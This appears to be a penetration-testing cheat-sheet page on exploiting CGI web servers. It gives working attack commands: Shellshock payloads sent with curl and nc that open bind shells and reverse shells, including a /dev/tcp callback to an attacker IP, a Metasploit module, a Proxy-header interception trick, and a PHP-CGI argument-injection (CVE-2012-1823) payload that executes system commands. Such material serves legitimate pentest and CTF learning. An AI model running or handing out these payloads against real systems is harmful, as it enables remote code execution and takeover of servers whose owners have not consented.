# CGI

## Information

The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it.  
In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\)

## **ShellShock**

Bash can also be used to run commands passed to it by applications and it is this feature that the vulnerability affects. One type of command that can be sent to Bash allows environment variables to be set. Environment variables are dynamic, named values that affect the way processes are run on a computer. The vulnerability lies in the fact that an **attacker can tack-on malicious code to the environment variable, which will run once the variable is received**.

Exploiting this vulnerability the **page could throw an error**.

You could **find** this vulnerability noticing that it is using an **old Apache version** and **cgi\_mod** \(with cgi folder\) or using **nikto**.

#### **Test**

Most tests are based in echo something and expect that that string is returned in the web response. If you think a page may be vulnerable, search for all the cgi pages and test them.

**Nmap**

```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```

#### **Curl \(refelcted and blind\)**

```bash
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
#Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
```

\*\*\*\*[**Shellsocker**](https://github.com/liamim/shellshocker)\*\*\*\*

```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```

#### Exploit

```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```

## **Proxy \(MitM to Web server requests\)**

CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP\_HOST"="web.com"

As the HTTP\_PROXY variable could be used by the web server. Try to send a **header** containing: "**Proxy: &lt;IP\_attacker&gt;:&lt;PORT&gt;**" and if the server performs any request during the session. You will be able to capture each request made by the server.

## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)

Basically if cgi is active and php is "old" \(&lt;5.3.12 / &lt; 5.4.2\) you can execute code.  
In order t exploit this vulnerability you need to access some PHP file of the web server without sending parameters \(specially without sending the character "="\).  
Then, in order to test this vulnerability, you could access for example `/index.php?-s` \(note the `-s`\) and **source code of the application will appear in the response**.

Then, in order to obtain **RCE** you can send this special query: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and the **PHP code** to be executed in the **body of the request.  
Example:**

```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```

**More info about the vuln and possible exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**

